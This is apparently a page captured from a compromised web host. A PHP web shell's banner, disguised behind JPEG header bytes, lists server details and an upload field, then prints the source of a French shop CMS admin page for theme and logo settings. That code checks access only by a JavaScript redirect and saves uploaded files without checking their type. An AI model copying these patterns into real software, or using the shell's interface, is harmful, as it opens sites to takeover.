ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/fermegarat.com/cp-admin/ |
Upload File : |
<?php
include_once('includes/header.php');
if($niveauT <> 1) {
echo '<script>';
echo 'window.location = "./index.php"';
echo '</script>';
}
if(isset($_POST['edit'])) {
// Ecrit dans les cat si elles sont bloquees sur right2 (le tri)
$un = 1;
// Ecrit dans theme (bdd info) le site grande contenance pour bloquer le menu reversible du haut !!
$sql = $bdd->prepare('UPDATE info SET grande_contenance=:grande_contenance
WHERE id = 1');
$sql->execute(array(
'grande_contenance' => $_POST['grande_contenance']));
// corrige les fautes de frappe
$T_1_valeur = str_replace(",",".", $_POST['T_1_valeur']);
$T_2_valeur = str_replace(",",".", $_POST['T_2_valeur']);
$T_3_valeur = str_replace(",",".", $_POST['T_3_valeur']);
$sql = $bdd->prepare('UPDATE configuration SET logoT=:logoT, logoG=:logoG, head_coord=:head_coord, head_coordG=:head_coordG, head_coordT=:head_coordT, head_coord_coul=:head_coord_coul, head_coul=:head_coul
, back_coul=:back_coul
WHERE id = 1');
$sql->execute(array(
'back_coul' => $_POST['back_coul'],
'head_coul' => $_POST['head_coul'],
'head_coord_coul' => $_POST['head_coord_coul'],
'head_coord' => $_POST['head_coord'],
'head_coordT' => $_POST['head_coordT'],
'head_coordG' => $_POST['head_coordG'],
'logoT' => $_POST['logoT'],
'logoG' => $_POST['logoG']
));
////////////////////////////////////// Logo
if(isset($_FILES['logo']))
{
$errors= array();
foreach($_FILES['logo']['tmp_name'] as $key => $tmp_name )
{
$file_logo = $key.$_FILES['logo']['name'][$key];
$file_size =$_FILES['logo']['size'][$key];
$file_tmp =$_FILES['logo']['tmp_name'][$key];
$file_type=$_FILES['logo']['type'][$key];
if($_FILES['file_logo']['size'][$key] > 2097152)
{
$errors[]='Fichier suppérieur à 2 MB !';
}
// Enregistrement des images sur le serveur
$desired_dir="../templates/shop/img";
$file_logo = ''.time().$file_logo;
if(empty($errors)==true)
{
if(is_dir($desired_dir)==false)
{
mkdir("$desired_dir", 0700); // Créer un dossier si il n'existe pas
}
if(is_dir("$desired_dir/".$file_logo)==false)
{
move_uploaded_file($file_tmp,"$desired_dir/".$file_logo);
}
else
{
// renome les images si elles existe déjÃ
$new_dir="$desired_dir/".$file_logo.time();
rename($file_tmp,$new_dir) ;
} } }
if (!strpos($file_logo, '.')) {
$Image_Logo= $_POST['Image_Logo'];
$sql = $bdd->prepare('UPDATE configuration SET Image_Logo =:Image_Logo WHERE id = 1');
$sql->execute(array('Image_Logo' => $Image_Logo ));
} else {
$sql = $bdd->prepare('UPDATE configuration SET Image_Logo =:Image_Logo WHERE id = 1');
$sql->execute(array('Image_Logo' => $file_logo ));
}
}
////////////////////////////////////// Logo hover
if(isset($_FILES['logo_hover']))
{
$errors= array();
foreach($_FILES['logo_hover']['tmp_name'] as $key => $tmp_name )
{
$file_logo_hover = $key.$_FILES['logo_hover']['name'][$key];
$file_size =$_FILES['logo_hover']['size'][$key];
$file_tmp =$_FILES['logo_hover']['tmp_name'][$key];
$file_type=$_FILES['logo_hover']['type'][$key];
if($_FILES['file_logo_hover']['size'][$key] > 2097152)
{
$errors[]='Fichier suppérieur à 2 MB !';
}
// Enregistrement des images sur le serveur
$desired_dir="../templates/shop/img";
$file_logo_hover = ''.time().$file_logo_hover;
if(empty($errors)==true)
{
if(is_dir($desired_dir)==false)
{
mkdir("$desired_dir", 0700); // Créer un dossier si il n'existe pas
}
if(is_dir("$desired_dir/".$file_logo_hover)==false)
{
move_uploaded_file($file_tmp,"$desired_dir/".$file_logo_hover);
}
else
{
// renome les images si elles existe déjÃ
$new_dir="$desired_dir/".$file_logo_hover.time();
rename($file_tmp,$new_dir) ;
} } }
if (!strpos($file_logo_hover, '.')) {
$Image_Logo_hover= $_POST['Image_Logo_hover'];
$sql = $bdd->prepare('UPDATE configuration SET Image_Logo_hover =:Image_Logo_hover WHERE id = 1');
$sql->execute(array('Image_Logo_hover' => $Image_Logo_hover ));
} else {
$sql = $bdd->prepare('UPDATE configuration SET Image_Logo_hover =:Image_Logo_hover WHERE id = 1');
$sql->execute(array('Image_Logo_hover' => $file_logo_hover ));
}
}
}
$sql = $bdd->query('SELECT * FROM configuration
WHERE id = 1');
$list = $sql->fetchAll();
for($i=0; $i<count($list); $i++) {
$back_coul= $list[$i]['back_coul'];
$head_coul= $list[$i]['head_coul'];
$head_coord_coul= $list[$i]['head_coord_coul'];
$head_coord= $list[$i]['head_coord'];
$head_coordG= $list[$i]['head_coordG'];
$head_coordT= $list[$i]['head_coordT'];
$logoG= $list[$i]['logoG'];
$logoT= $list[$i]['logoT'];
$Image_Logo= $list[$i]['Image_Logo'];
$Image_Logo_hover= $list[$i]['Image_Logo_hover'];
}
?>
<div class="container">
<div class="row">
<div class="span12">
<div class="page-header">
<h1>Thème éléments</h1>
</div>
</div>
</div>
<div class="row">
<div class="span3">
<ul class="nav nav-tabs nav-stacked">
<li><a href="settings.php">Général</a></li>
<li><a href="set_configuration.php">Configuration</a></li>
<li><a href="colmenu.php">Paramètres du Menu</a></li>
<li><a href="colonne_G.php">Colonne Gauche</a></li>
<li><a href="colonne_D.php">Colonne Droite</a></li>
<li class="active"><a href="./tema_elements.php">Thèmes éléments</a></li>
<li><a href="./tema.php">Thèmes couleurs</a></li>
</ul>
</div>
<div class="span9 settings">
<form action="#" method="post" class="form-horizontal" enctype="multipart/form-data">
<div class="well general" style="margin-top:0; background: #F5F5F5">
<b>Ce sont les éléments partagés sur tous les thèmes
</b><br /><br />
<h3 style="color: #fff; line-height: 25px; padding-bottom: 8px; padding-left: 30px">1- Logo</h3><br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Logo (<i>Image .png ou .jpg</i>) : </label>
<div class="controls">
<div class="white-space"><input type="text" name="Image_Logo" style="width:230px;" value="<?php echo ''.$Image_Logo.''; ?>">
<input type="file" name="logo[]" multiple/>
</div>
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Logo au survol (<i>Image .png ou .jpg</i>) : </label>
<div class="controls">
<div class="white-space"><input type="text" name="Image_Logo_hover" style="width:230px;" value="<?php echo ''.$Image_Logo_hover.''; ?>">
<input type="file" name="logo_hover[]" multiple/>
</div>
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Position Logo depuis le Top : </label>
<div class="controls">
<input type="text" name="logoT" style="width:65px;" value="<?php echo $logoT; ?>"> (<i>en pixels, ne pas préciser px</i>)
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Position Logo depuis la gauche : </label>
<div class="controls">
<input type="text" name="logoG" style="width:65px;" value="<?php echo $logoG; ?>"> (<i>en %, ne pas préciser %</i>) <b>Pour centrer votre Logo insérez : 100 </b>
<br />
<br /><br />Si pas de logo hover un effet automatique sera sur l'image du logo (conseillé).
<br />Si logo hover l'image hover sera affiché au passage de la souris. Attention les 2 images doivent avoir des dimensions identiques.
</div>
</div>
<br /><br />
<h3 style="color: #fff; line-height: 25px; padding-bottom: 8px; padding-left: 30px">2- Head coordonnées</h3><br /><br />
<div class="control-group">
<label class="control-label" for="title">Head coordonnées :</label>
<div class="controls">
<select name="head_coord">
<option value="0" <?php if($head_coord=='0')echo 'selected'; ?>>0- Non actif</option>
<option value="1" <?php if($head_coord=='1')echo 'selected'; ?>>1- Actif</option>
</select> Coordonnées entreprise : Actives sur toutes les pages.
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Position coordonnées depuis le Top : </label>
<div class="controls">
<input type="text" name="head_coordT" style="width:65px;" value="<?php echo $head_coordT; ?>"> (<i>en pixels, ne pas préciser px</i>)
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="titlefrom">Position coordonnées depuisla gauche : </label>
<div class="controls">
<input type="text" name="head_coordG" style="width:65px;" value="<?php echo $head_coordG; ?>"> (<i>en %, ne pas préciser %</i>)
</div>
</div>
<div class="control-group">
<label class="control-label" style="width:320px;" for="top">Couleur Texte : </label>
<div class="controls">
<input type="text" class="jscolor" name="head_coord_coul" style="width:65px;" value="<?php echo ''.$head_coord_coul.''; ?>">
<br /><br /><br />Pour activer les PUB head il suffit d'aller dans l'onglet : Publicités.
<br />Si vous utilisez des Pub head elles sont placées à droite du site, attention a bien régler vos coordonnées.
</div>
</div>
<br /><br />
<h3 style="color: #fff; line-height: 25px; padding-bottom: 8px; padding-left: 30px">3- Header couleur de fond si pas image</h3><br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="top">Couleur de fond Header : </label>
<div class="controls">
<input type="text" class="jscolor" name="head_coul" style="width:65px;" value="<?php echo ''.$head_coul.''; ?>"> Si pas d'image.
<br /><br />L'image se place dans l'explorateur de fichiers (templates/shop/img) et doit s'appeler : nom-du-theme_header.png (ex :
base_header.png pour le thème base).
<br />Cette image doit faire : 2560px de large et 230px de
hauteur pour être parfaite sur les grands écrans (TV, etc.) et en format png.
<br />Même si le programme la pré-télécharge, il est conseillé de l'optimiser :
<b><a target="_blank" href="http://optimizilla.com/fr/">ici le lien</a></b>
</div>
</div>
<br /><br /><h3 style="color: #fff; line-height: 25px; padding-bottom: 8px; padding-left: 30px">4- Full Slides ou Slides normaux</h3>
<br /><br />Si vous utilisez les Full Slides (uniquement pour l' accueil) ou les Slides normaux cliquez sur l'onglet Slideshows.
<br />Un Full Slide doit faire : 1700px X 730px il peut-être en jpg ou png. Vous devez activer la fonction dans <b>'Configuration' section 4</b>.
<br />Un Slide normal doit faire : 950px X 300px il peut-être en jpg ou png.
<br /><br />
<br /><br /><h3 style="color: #fff; line-height: 25px; padding-bottom: 8px; padding-left: 30px">5- Couleur Background site (fond global) si pas image</h3><br /><br />
<div class="control-group">
<label class="control-label" style="width:320px;" for="top">Couleur fond su site : </label>
<div class="controls">
<input type="text" class="jscolor" name="back_coul" style="width:65px;" value="<?php echo ''.$back_coul.''; ?>"> Si pas d'image.
<br /><br />L'image se place dans l'explorateur de fichiers (templates/shop/img) et doit s'appeler : nom-du-theme_background.jpg (ex :
base_background.jpg pour le thème base).
<br /><b><font color="#CC3300">Cette image doit faire : 2560px de large et 1450px de hauteur</font> </b>pour être parfaite sur les grands écrans (TV, etc.) et en format jpg.
<br />Même si le programme la pré-télécharge, il est conseillé de l'optimiser :
<b><a target="_blank" href="http://optimizilla.com/fr/">ici le lien</a></b>
<br /><br />ATTENTION : <i> <b>si vous faites une délimitation du site</b></i> sur votre image (opacité, cadre, etc.), elle doit être de 1460px de large et bien centrée.
<br />Les formats du site (colonne gauche ou colonne droite) s'ajusteront parfaitement.
<br />Pour le format 3 colonnes (quasiment en full page) prévoyez 1820px de large.
<br /><br />Vous pouvez plus simplement insérer une image sans cadre de délimitation puis dans le global_end_...css concerné faire le CSS :
<br /><b> .</b><i>page {border:1px solid #eee; opacity:0.8}</i><b> </b>
</div>
</div>
</div>
<div class="form-actions" style="position:fixed; top: 70%;left:0">
<button type="submit" name="edit" class="btn btn-success" style="font-size:12pt;height:45px"><i class="icon-ok"></i> Enregistrer</button>
</div>
</form>
</div>
</div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<script type="text/javascript" src="assets/js/chosen.jquery.js" ></script>
<script type="text/javascript">
var config = {
'.chosen-select' : {},
'.chosen-select-deselect' : {allow_single_deselect:true},
'.chosen-select-no-single' : {disable_search_threshold:10},
'.chosen-select-no-results': {no_results_text:'Oops, nothing found!'},
'.chosen-select-width' : {width:"95%"}
}
for (var selector in config) {
$(selector).chosen(config[selector]);
}
</script>
<?
include_once('includes/footer.php');
?>